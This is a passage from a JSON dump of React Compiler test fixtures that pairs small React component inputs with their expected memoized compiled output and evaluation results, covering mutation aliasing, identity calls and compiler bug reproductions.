    "content": "// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const y = [x];\n  const f = () => {\n    const x0 = y[0];\n    return [x0];\n  };\n  const z = f();\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const y = [x];\n  const x0 = y[0];\n  const z = [x0];\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { Stringify } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const x = { a, b };\n    const y = [x];\n    const x0 = y[0];\n    const z = [x0];\n    const x1 = z[0];\n    x1.key = \"value\";\n    t1 = <Stringify x={x} />;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":{\"a\":0,\"b\":1,\"key\":\"value\"}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-boxing-unboxing-indirections.js",
    "content": "// @enableNewMutationAliasingModel\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = {a, b};\n  const y = [x];\n  const x0 = y[0];\n  const z = [x0];\n  const x1 = z[0];\n  x1.key = 'value';\n  return <Stringify x={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const f = () => {\n    return identity(x);\n  };\n  const x2 = f();\n  x2.b = b;\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport { identity, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = { a };\n    const f = () => identity(x);\n\n    const x2 = f();\n    x2.b = b;\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":0}}</div>\n<div>{\"inputs\":[0,1],\"output\":{\"a\":0,\"b\":1}}</div>\n<div>{\"inputs\":[1,1],\"output\":{\"a\":1,\"b\":1}}</div>\n<div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":0}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity-function-expression.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const f = () => {\n    return identity(x);\n  };\n  const x2 = f();\n  x2.b = b;\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const x2 = identity(x);\n  x2.b = b;\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport { identity, ValidateMemoization } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b } = t0;\n  let x;\n  if ($[0] !== a || $[1] !== b) {\n    x = { a };\n    const x2 = identity(x);\n    x2.b = b;\n    $[0] = a;\n    $[1] = b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  let t1;\n  if ($[3] !== a || $[4] !== b) {\n    t1 = [a, b];\n    $[3] = a;\n    $[4] = b;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  let t2;\n  if ($[6] !== t1 || $[7] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[6] = t1;\n    $[7] = x;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 0, b: 0 }],\n  sequentialRenders: [\n    { a: 0, b: 0 },\n    { a: 0, b: 1 },\n    { a: 1, b: 1 },\n    { a: 0, b: 0 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":0}}</div>\n<div>{\"inputs\":[0,1],\"output\":{\"a\":0,\"b\":1}}</div>\n<div>{\"inputs\":[1,1],\"output\":{\"a\":1,\"b\":1}}</div>\n<div>{\"inputs\":[0,0],\"output\":{\"a\":0,\"b\":0}}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-identity.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {identity, ValidateMemoization} from 'shared-runtime';\n\nfunction Component({a, b}) {\n  const x = useMemo(() => ({a}), [a, b]);\n  const x2 = identity(x);\n  x2.b = b;\n\n  return <ValidateMemoization inputs={[a, b]} output={x} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 0, b: 0}],\n  sequentialRenders: [\n    {a: 0, b: 0},\n    {a: 0, b: 1},\n    {a: 1, b: 1},\n    {a: 0, b: 0},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {};\n  const y = {x};\n  const z = y.x;\n  z.true = false;\n  return <div>{z}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(1);\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = {};\n    const y = { x };\n    const z = y.x;\n    z.true = false;\n    t1 = <div>{z}</div>;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/mutate-through-propertyload.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b}) {\n  const x = {};\n  const y = {x};\n  const z = y.x;\n  z.true = false;\n  return <div>{z}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== state) setState(obj.value);\n  };\n  useIdentity();\n  cb();\n  return [cb];\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { useState } from \"react\";\nimport { useIdentity } from \"shared-runtime\";\n\nfunction useMakeCallback(t0) {\n  const $ = _c(5);\n  const { obj } = t0;\n  const [state, setState] = useState(0);\n  let t1;\n  if ($[0] !== obj.value || $[1] !== state) {\n    t1 = () => {\n      if (obj.value !== state) {\n        setState(obj.value);\n      }\n    };\n    $[0] = obj.value;\n    $[1] = state;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const cb = t1;\n\n  useIdentity();\n  cb();\n  let t2;\n  if ($[3] !== cb) {\n    t2 = [cb];\n    $[3] = cb;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ obj: { value: 1 } }],\n  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"[[ function params=0 ]]\"]\n[\"[[ function params=0 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/nullable-objects-assume-invoked-direct-call.js",
    "content": "// @enableNewMutationAliasingModel\nimport {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== state) setState(obj.value);\n  };\n  useIdentity();\n  cb();\n  return [cb];\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [key]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { identity, mutate } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let context;\n  if ($[0] !== props.value) {\n    const key = {};\n    context = { [key]: identity([props.value]) };\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"[object Object]\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-key-object-mutated-later.js",
    "content": "// @enableNewMutationAliasingModel\nimport {identity, mutate} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {};\n  const context = {\n    [key]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {a: 'key'};\n  const context = {\n    [key.a]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nimport { identity, mutate, mutateAndReturn } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let context;\n  if ($[0] !== props.value) {\n    const key = { a: \"key\" };\n    const t0 = key.a;\n    const t1 = identity([props.value]);\n    let t2;\n    if ($[2] !== t1) {\n      t2 = { [t0]: t1 };\n      $[2] = t1;\n      $[3] = t2;\n    } else {\n      t2 = $[3];\n    }\n    context = t2;\n    mutate(key);\n    $[0] = props.value;\n    $[1] = context;\n  } else {\n    context = $[1];\n  }\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"key\":[42]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/object-expression-computed-member.js",
    "content": "// @enableNewMutationAliasingModel\nimport {identity, mutate, mutateAndReturn} from 'shared-runtime';\n\nfunction Component(props) {\n  const key = {a: 'key'};\n  const context = {\n    [key.a]: identity([props.value]),\n  };\n  mutate(key);\n  return context;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction Component({a, b, c}) {\n  const x = [a, b];\n  const f = () => {\n    maybeMutate(x);\n    // different dependency to force this not to merge with x's scope\n    console.log(c);\n  };\n  return <Foo onClick={f} value={x} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction Component(t0) {\n  const $ = _c(9);\n  const { a, b, c } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    t1 = [a, b];\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const x = t1;\n  let t2;\n  if ($[3] !== c || $[4] !== x) {\n    t2 = () => {\n      maybeMutate(x);\n\n      console.log(c);\n    };\n    $[3] = c;\n    $[4] = x;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  const f = t2;\n  let t3;\n  if ($[6] !== f || $[7] !== x) {\n    t3 = <Foo onClick={f} value={x} />;\n    $[6] = f;\n    $[7] = x;\n    $[8] = t3;\n  } else {\n    t3 = $[8];\n  }\n  return t3;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/potential-mutation-in-function-expression.js",
    "content": "// @enableNewMutationAliasingModel\nfunction Component({a, b, c}) {\n  const x = [a, b];\n  const f = () => {\n    maybeMutate(x);\n    // different dependency to force this not to merge with x's scope\n    console.log(c);\n  };\n  return <Foo onClick={f} value={x} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableNewMutationAliasingModel\nfunction ReactiveRefInEffect(props) {\n  const ref1 = useRef('initial value');\n  const ref2 = useRef('initial value');\n  let ref;\n  if (props.foo) {\n    ref = ref1;\n  } else {\n    ref = ref2;\n  }\n  useEffect(() => print(ref));\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableNewMutationAliasingModel\nfunction ReactiveRefInEffect(props) {\n  const $ = _c(4);\n  const ref1 = useRef(\"initial value\");\n  const ref2 = useRef(\"initial value\");\n  let ref;\n  if ($[0] !== props.foo) {\n    if (props.foo) {\n      ref = ref1;\n    } else {\n      ref = ref2;\n    }\n    $[0] = props.foo;\n    $[1] = ref;\n  } else {\n    ref = $[1];\n  }\n  let t0;\n  if ($[2] !== ref) {\n    t0 = () => print(ref);\n    $[2] = ref;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  useEffect(t0);\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/reactive-ref.js",
    "content": "// @enableNewMutationAliasingModel\nfunction ReactiveRefInEffect(props) {\n  const ref1 = useRef('initial value');\n  const ref2 = useRef('initial value');\n  let ref;\n  if (props.foo) {\n    ref = ref1;\n  } else {\n    ref = ref2;\n  }\n  useEffect(() => print(ref));\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @enableNewMutationAliasingModel\n\nimport fbt from 'fbt';\n\ncomponent Component() {\n  const sections = Object.keys(items);\n\n  for (let i = 0; i < sections.length; i += 3) {\n    chunks.push(\n      sections.slice(i, i + 3).map(section => {\n        return <Child />;\n      })\n    );\n  }\n\n  return <Child />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\n\nimport fbt from \"fbt\";\n\nfunction Component() {\n  const $ = _c(1);\n  const sections = Object.keys(items);\n\n  for (let i = 0; i < sections.length; i = i + 3, i) {\n    chunks.push(sections.slice(i, i + 3).map(_temp));\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Child />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp(section) {\n  return <Child />;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-compiler-infinite-loop.js",
    "content": "// @flow @enableNewMutationAliasingModel\n\nimport fbt from 'fbt';\n\ncomponent Component() {\n  const sections = Object.keys(items);\n\n  for (let i = 0; i < sections.length; i += 3) {\n    chunks.push(\n      sections.slice(i, i + 3).map(section => {\n        return <Child />;\n      })\n    );\n  }\n\n  return <Child />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nexport function useFormatRelativeTime(opts = {}) {\n  const {timeZone, minimal} = opts;\n  const format = useCallback(function formatWithUnit() {}, [minimal]);\n  // We previously recorded `{timeZone}` as capturing timeZone into the object,\n  // then assumed that dateTimeFormat() mutates that object,\n  // which in turn could mutate timeZone and the object it came from,\n  // which meanteans that the value `minimal` is derived from can change.\n  //\n  // The fix was to record a Capture from a maybefrozen value as an ImmutableCapture\n  // which doesn't propagate mutations\n  dateTimeFormat({timeZone});\n  return format;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nexport function useFormatRelativeTime(t0) {\n  const $ = _c(1);\n  const opts = t0 === undefined ? {} : t0;\n  const { timeZone, minimal } = opts;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = function formatWithUnit() {};\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const format = t1;\n\n  dateTimeFormat({ timeZone });\n  return format;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-destructure-from-prop-with-default-value.js",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nexport function useFormatRelativeTime(opts = {}) {\n  const {timeZone, minimal} = opts;\n  const format = useCallback(function formatWithUnit() {}, [minimal]);\n  // We previously recorded `{timeZone}` as capturing timeZone into the object,\n  // then assumed that dateTimeFormat() mutates that object,\n  // which in turn could mutate timeZone and the object it came from,\n  // which meanteans that the value `minimal` is derived from can change.\n  //\n  // The fix was to record a Capture from a maybefrozen value as an ImmutableCapture\n  // which doesn't propagate mutations\n  dateTimeFormat({timeZone});\n  return format;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const x = {};\n  const fn = () => {\n    new Object()\n      .build(x)\n      .build({})\n      .build({})\n      .build({})\n      .build({})\n      .build({})\n      .build({});\n  };\n  return <Stringify x={x} fn={fn} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(2);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = {};\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const fn = () => {\n      new Object()\n        .build(x)\n        .build({})\n        .build({})\n        .build({})\n        .build({})\n        .build({})\n        .build({});\n    };\n    t1 = <Stringify x={x} fn={fn} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-function-expression-effects-stack-overflow.js",
    "content": "function Component() {\n  const x = {};\n  const fn = () => {\n    new Object()\n      .build(x)\n      .build({})\n      .build({})\n      .build({})\n      .build({})\n      .build({})\n      .build({});\n  };\n  return <Stringify x={x} fn={fn} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel\ncomponent Component(\n  onAsyncSubmit?: (() => void) => void,\n  onClose: (isConfirmed: boolean) => void\n) {\n  // When running inferReactiveScopeVariables,\n  // onAsyncSubmit and onClose update to share\n  // a mutableRange instance.\n  const onSubmit = useCallback(() => {\n    if (onAsyncSubmit) {\n      onAsyncSubmit(() => {\n        onClose(true);\n      });\n      return;\n    }\n  }, [onAsyncSubmit, onClose]);\n  // When running inferReactiveScopeVariables here,\n  // first the existing range gets updated (affecting\n  // onAsyncSubmit) and then onClose gets assigned a\n  // different mutable range instance, which is the\n  // one reset after AnalyzeFunctions.\n  // The fix is to fully reset mutable ranges *instances*\n  // after AnalyzeFunctions visit a function expression\n  return <Dialog onSubmit={onSubmit} onClose={() => onClose(false)} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(8);\n  const { onAsyncSubmit, onClose } = t0;\n  let t1;\n  if ($[0] !== onAsyncSubmit || $[1] !== onClose) {\n    t1 = () => {\n      if (onAsyncSubmit) {\n        onAsyncSubmit(() => {\n          onClose(true);\n        });\n        return;\n      }\n    };\n    $[0] = onAsyncSubmit;\n    $[1] = onClose;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const onSubmit = t1;\n  let t2;\n  if ($[3] !== onClose) {\n    t2 = () => onClose(false);\n    $[3] = onClose;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  let t3;\n  if ($[5] !== onSubmit || $[6] !== t2) {\n    t3 = <Dialog onSubmit={onSubmit} onClose={t2} />;\n    $[5] = onSubmit;\n    $[6] = t2;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-internal-compiler-shared-mutablerange-bug.js",
    "content": "//@flow @validatePreserveExistingMemoizationGuarantees @enableNewMutationAliasingModel\ncomponent Component(\n  onAsyncSubmit?: (() => void) => void,\n  onClose: (isConfirmed: boolean) => void\n) {\n  // When running inferReactiveScopeVariables,\n  // onAsyncSubmit and onClose update to share\n  // a mutableRange instance.\n  const onSubmit = useCallback(() => {\n    if (onAsyncSubmit) {\n      onAsyncSubmit(() => {\n        onClose(true);\n      });\n      return;\n    }\n  }, [onAsyncSubmit, onClose]);\n  // When running inferReactiveScopeVariables here,\n  // first the existing range gets updated (affecting\n  // onAsyncSubmit) and then onClose gets assigned a\n  // different mutable range instance, which is the\n  // one reset after AnalyzeFunctions.\n  // The fix is to fully reset mutable ranges *instances*\n  // after AnalyzeFunctions visit a function expression\n  return <Dialog onSubmit={onSubmit} onClose={() => onClose(false)} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b}) {\n  const y = {a};\n  const x = {b};\n  const f = () => {\n    let z = null;\n    while (z == null) {\n      z = x;\n    }\n    // z is a phi with a backedge, and we don't realize it could be x,\n    // and therefore fail to record a Capture x <- y effect for this\n    // function expression\n    z.y = y;\n  };\n  f();\n  mutate(x);\n  return <div>{x}</div>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(3);\n  const { a, b } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b) {\n    const y = { a };\n    const x = { b };\n    const f = () => {\n      let z = null;\n      while (z == null) {\n        z = x;\n      }\n      z.y = y;\n    };\n    f();\n    mutate(x);\n    t1 = <div>{x}</div>;\n    $[0] = a;\n    $[1] = b;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-invalid-function-expression-effects-phi.js",
    "content": "function Component({a, b}) {\n  const y = {a};\n  const x = {b};\n  const f = () => {\n    let z = null;\n    while (z == null) {\n      z = x;\n    }\n    // z is a phi with a backedge, and we don't realize it could be x,\n    // and therefore fail to record a Capture x <- y effect for this\n    // function expression\n    z.y = y;\n  };\n  f();\n  mutate(x);\n  return <div>{x}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/repro-jsx-captures-value-mutated-later.expect.md",
